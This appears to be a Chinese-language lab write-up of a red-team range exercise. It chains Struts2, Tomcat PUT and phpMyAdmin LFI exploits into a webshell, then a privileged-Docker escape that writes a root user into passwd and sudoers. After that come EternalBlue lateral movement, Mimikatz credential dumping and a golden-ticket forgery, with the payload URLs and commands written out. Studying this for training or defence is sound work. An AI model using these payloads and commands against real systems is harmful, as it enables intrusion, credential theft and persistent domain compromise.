ATT&CK红队评估四
字数 1769 2025-08-18 17:33:23
ATT&CK红队评估四实战教学文档
0x01 靶场环境概述
目标:获得所有主机包括域控的控制权限
环境配置:
- Web机:Ubuntu系统
- IP地址:192.168.111.145(外网)
- 内网IP:192.168.183.128
- 内网主机:Windows 7系统
0x02 外网信息收集与打点
端口扫描发现
扫描发现三个Web服务端口:
- 2001端口:文件上传功能点,可能存在Struts2多版本漏洞
- 2002端口:Tomcat初始界面
- 2003端口:phpMyAdmin 4.8.1(存在任意文件上传漏洞)
漏洞利用方法
1. Struts2漏洞利用
- 工具检测:使用专用工具检测存在漏洞,可执行命令
- 利用方式:直接执行系统命令
2. Tomcat文件上传漏洞
- 漏洞利用:使用PUT方法上传JSP木马
- 验证方法:访问上传的JSP文件(如21.jsp)测试命令执行
3. phpMyAdmin远程文件包含
- 漏洞利用步骤:
- 任意文件读取:
index.php?target=db_sql.php%253f/etc/passwd#/ - 执行SQL写入PHP代码:
select "<?php file_put_contents('/var/www/html/cmd.php','<?php @eval($_POST[pass]" - 利用session写入shell:
- 日志路径:
/tmp/sess_+phpMyAdmin的cookie值 - 包含日志执行:
?target=db_sql.php%253f/tmp/sess_14afd9352fa03b2c14b10c54b396478e#/
- 日志路径:
- 任意文件读取:
0x03 反弹Shell与Docker逃逸
反弹Shell
- 使用Struts2漏洞执行反弹命令
- Kali监听端口:7778
- 成功获取反向Shell连接
Docker逃逸技术
-
检测容器环境:
fdisk -l无输出 → 容器环境- 检查特权容器:
cat /proc/1/status | grep Cap
-
特权容器逃逸:
- 查看硬盘信息:
fdisk -l - 挂载宿主机硬盘:
mkdir xjy mount /dev/sda5 xjy/ - 添加用户到宿主机:
- 生成密码hash:
perl -le 'print crypt("123456","addedsalt")' - 添加用户:
echo "abc:adrla7IBSfTZQ:1001:1001:User_like_root:/root:/bin/bash" >> /xjy/etc/passwd
- 生成密码hash:
- 查看硬盘信息:
-
SSH免密登录:
- 生成密钥对:
ssh-keygen - 将公钥写入目标机
authorized_keys - 设置权限:
chmod 600 authorized_keys
- 生成密钥对:
0x04 提权操作
- 修改宿主机sudoers文件:
echo "abc ALL=(ALL:ALL) ALL" >> /xjy/etc/sudoers - 验证提权:执行
sudo命令
0x05 内网信息收集
网络发现
- 发现内网网段:192.168.183.0/24
- 使用fscan扫描存活主机:
- 192.168.183.130(开放445端口)
- 192.168.183.131(开放445端口)
- 检测到永恒之蓝漏洞(MS17-010)
0x06 横向移动
永恒之蓝利用
- MSF设置监听:
use exploit/multi/handler set payload cmd/unix/reverse_bash set lhost 0.0.0.0 run - 升级会话:
sessions -u [ID]
凭证获取
- 使用kiwi模块读取密码:
creds_all - 获取NTLM哈希和明文密码
远程桌面开启
- 通过永恒之蓝获取的system权限开启RDP
- 添加用户:
net user xilitter Password123 /add net localgroup administrators xilitter /add
0x07 权限维持(黄金票据)
黄金票据制作条件
- 域名称
- 域的SID值
- 域的KRBTGT账户密码HASH
- 伪造用户名(任意)
具体步骤
-
获取域信息:
- 域名称:DEMO
- 使用Mimikatz获取krbtgt的NTLM-Hash和SID:
lsadump::dcsync /user:krbtgt - 获取结果:
- SID: S-1-5-21-979886063-1111900045-1414766810-502
- NTLM HASH: 7c4ed692473d4b4344c3ba01c5e6cb63
-
生成黄金票据:
kerberos::purge # 清除现有票据 kerberos::golden /admin:administrator /domain:DEMO.COM /sid:S-1-5-21-979886063-1111900045-1414766810-502 /krbtgt:7c4ed692473d4b4344c3ba01c5e6cb63 /ticket:ticket.kirbi -
导入票据:
kerberos::ptt ticket.kirbi- 验证:使用
dir \\dc-name\c$测试访问权限
- 验证:使用
0x08 总结
本实战演练涵盖了完整的红队攻击链:
- 外网信息收集与漏洞利用
- 初始访问与权限提升
- 内网横向移动
- 域控攻陷
- 权限维持技术
关键点:
- 多漏洞组合利用(Struts2、Tomcat、phpMyAdmin)
- Docker逃逸技术
- 永恒之蓝漏洞利用
- 黄金票据制作与Kerberos协议滥用
- 凭证获取与横向移动技术